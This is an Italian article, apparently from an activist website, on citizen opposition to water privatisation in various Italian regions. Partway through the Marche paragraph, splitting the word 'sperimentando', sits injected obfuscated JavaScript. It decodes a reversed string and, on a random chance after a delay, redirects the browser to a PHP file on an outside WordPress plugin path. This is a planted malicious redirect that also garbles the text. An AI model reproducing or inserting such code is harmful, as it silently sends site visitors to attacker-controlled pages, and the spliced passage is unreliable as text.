Gocce di resistenza

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A dispetto dell’innamoramento generale di destra e sinistra per le privatizzazioni, sta crescendo nel nostro paese un forte movimento di opposizione che difende la proprietà pubblica dei beni comuni e dell’acqua in particolare. Questo risveglio dell’opinione pubblica è stato possibile anche grazie all’attività del Comitato Italiano del Contratto Mondiale dell’acqua, nato quattro anni fa proprio sulla spinta di una forte preoccupazione per quel processo di vendita ai privati che iniziava allora e sembrava inarrestabile.
Di fronte alla resistenza dei cittadini, il processo si è inceppato e ci sono state inversioni e correzioni di marcia, dal sud al nord.
In Sicilia, le province di Messina e Siracusa hanno deliberato per la gestione in house, mentre stanno nascendo comitati di cittadini e associazioni, grazie all’impatto generato dal Forum del Mediterraneo organizzato da Mediterracqua di Catania in collaborazione con il Contratto Mondiale.
In Campania la volontà politica era quella di privatizzare completamente l’ATO Napoli-Caserta, a beneficio quasi certo dell’imprenditore Caltagirone. Un forte movimento di opposizione di cittadini e associazioni ha messo in difficoltà il governo locale e costretto i media a parlare della cosa. La magistratura è stata chiamata a pronunciarsi e ad oggi le buste delle gare di appalto non sono state ancora aperte. La Puglia ovviamente resta il caso più eclatante (vedi box sotto) che dimostra la possibilità concreta di visioni e scelte opposte a quelle imperanti.
In Lazio, dove domina Acea, si è formato un forte comitato territoriale che fa informazione sulla multinazionale, sulla sua politica nel sud del mondo, sui suoi soci e partner: Caltagirone e Suez in particolare.
Nelle Marche, Ascoli sta speriment (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando la gestione in house e distribuisce acqua dell’acquedotto pubblico in tutte le occasioni, mentre la provincia di Ancona ha distribuito ai cittadini i riduttori di flusso.
Il movimento popolare sembra più debole al nord. A Torino e Alessandria la gestione è in house, ma la tendenza delle istituzioni locali è di proseguire con gli affidamenti ai privati. Qui come in Lombardia la società civile sembra distante dal tema, malgrado proprio a Milano abbia sede il Comitato italiano e sia stata respinta da un referendum anni fa la legge che obbligava i comuni a mettere a gara il proprio servizio idrico. Oggi il Comitato ha un confronto aperto con la Provincia che vorrebbe privatizzare in parte l’acquedotto milanese.
Notizie migliori dal nord-est, dove l’ATO di Venezia è orientato a mantenere la gestione in house, così come accade in Friuli. Inoltre Venezia ha aderito alla proposta del Contratto mondiale per destinare 1 centesimo per ogni litro di acqua erogata a progetti di cooperazione sull’acqua con i paesi in via di sviluppo: si tratta di circa 720.000 euro all’anno, la cui gestione è controllata da un comitato che valuta i progetti.
Particolare la situazione del Friuli, che collabora con il Comitato nel far crescere anche in Bosnia la presenza di una cultura dell’acqua e per costituire un Comitato del Contratto mondiale bosniaco. A Mostar il ruolo delle istituzioni friulane è stato determinante nel dar vita al convegno del contratto mondiale in occasione della inaugurazione del ponte sulla Neretva, e negli scambi di visite ai fiumi tra studenti delle reciproche realtà.
Si può dunque investire sull’acqua anche per costruire un futuro più giusto? Pare proprio di sì.
Maggiori info su www.contrattoacqua.it

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